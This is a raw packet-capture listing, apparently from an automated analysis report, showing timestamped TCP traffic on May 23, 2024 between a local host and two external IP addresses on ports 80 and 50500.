May 23, 2024 23:33:07.693229914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693245888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693272114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693279028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693293095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693311930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693332911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693357944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693790913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693824053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693855047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693887949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693919897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693953037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693973064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693973064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693974018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693974018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693984985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694070101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694070101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694272041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694304943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694338083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694349051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694349051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694370985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694381952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694406033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694423914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694443941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694458008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694477081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.694509983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.694547892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695204973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695238113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695271015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695280075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695280075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695302963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695311069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695336103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695352077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695370913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.695382118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.695411921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702280045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702313900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702344894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702394962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702426910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702476025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702523947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702528000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702528000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702528954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702528954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702528954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702557087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702601910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702610016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702610016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702651024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702663898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702702999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702714920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702738047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702752113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702770948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702792883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702802896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702816010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702850103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702883005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702898026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702898026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702917099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702931881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702950954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.702956915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.702982903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703002930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703016996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703046083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703063965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703145981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703178883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703201056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703211069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703223944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703246117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703263998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703278065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703305960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703311920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.703329086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.703363895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.767954111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768002033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768035889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768076897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768273115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768273115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768285990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768321991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768347025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768347025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768373013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768707037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768742085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768774033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768807888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.768874884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768874884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768874884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.768874884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.769134998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.769169092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.769201040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.769233942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.769303083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.769304037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.769304037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.769304037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.772644997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.773947954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.775666952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.775779963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.775846958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.775846958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.775933027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776006937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776061058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776086092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776115894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776443958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776459932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776474953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776480913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776521921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776521921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776788950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776806116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776818991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776834965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776848078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776849031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776848078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776868105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.776876926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776878119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776899099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.776926994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.778944016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.778959990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.778974056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779015064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779036999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779045105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779062033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779077053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779126883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779160023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779805899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779823065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779836893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779851913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779865980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779876947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779881001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779898882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.779906034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779906034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779927969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.779958010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780388117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780447006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780683041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780718088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780740976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780750990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780764103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780786037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780806065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780818939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780827045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780853033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780874014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780885935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780899048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780919075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.780941010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.780962944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781599045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781632900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781665087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781665087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781686068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781701088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781717062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781735897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781747103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781769037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.781784058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.781822920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782614946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782649040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782681942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782706022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782716036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782725096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782749891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782766104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782783031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782795906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782816887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.782826900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.782867908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783360958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783395052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783416986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783427000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783437967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783461094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783474922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783494949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783505917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783529043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783556938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783561945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783584118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783596039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.783608913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.783643007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784286976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784321070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784343004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784353018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784364939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784387112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784401894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784420967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784442902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784454107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784463882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784487009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784502029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784521103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.784540892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.784564018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785185099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785218000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785239935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785250902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785264969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785284996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785300970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785317898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785331011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785351038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785367966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785384893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.785403967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.785427094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786112070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786145926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786169052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786176920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786190987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786211967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786225080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786245108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786258936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786278963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786297083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786313057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786319971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786345005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.786370039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.786391973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787009001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787041903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787061930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787072897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787091017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787110090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787121058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787142992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787158012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787177086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787188053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787210941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787233114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787244081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787259102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787290096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787885904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787919998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787935972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787952900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.787966013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.787992001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.788006067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.788027048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.788039923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.788059950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.788072109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.788091898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.788105965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.788126945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.788136959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.788176060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.849351883 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:07.854602098 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:07.860690117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.860728979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.860874891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.860953093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.860954046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861059904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861093998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861118078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861128092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861148119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861244917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861422062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861475945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861507893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861541033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861572027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861604929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.861607075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861607075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861607075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861607075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861608028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.861705065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.865488052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.865520954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.865608931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.867104053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867136955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867185116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.867185116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.867297888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867331982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867358923 CEST	49733	80	192.168.2.4	185.172.128.82
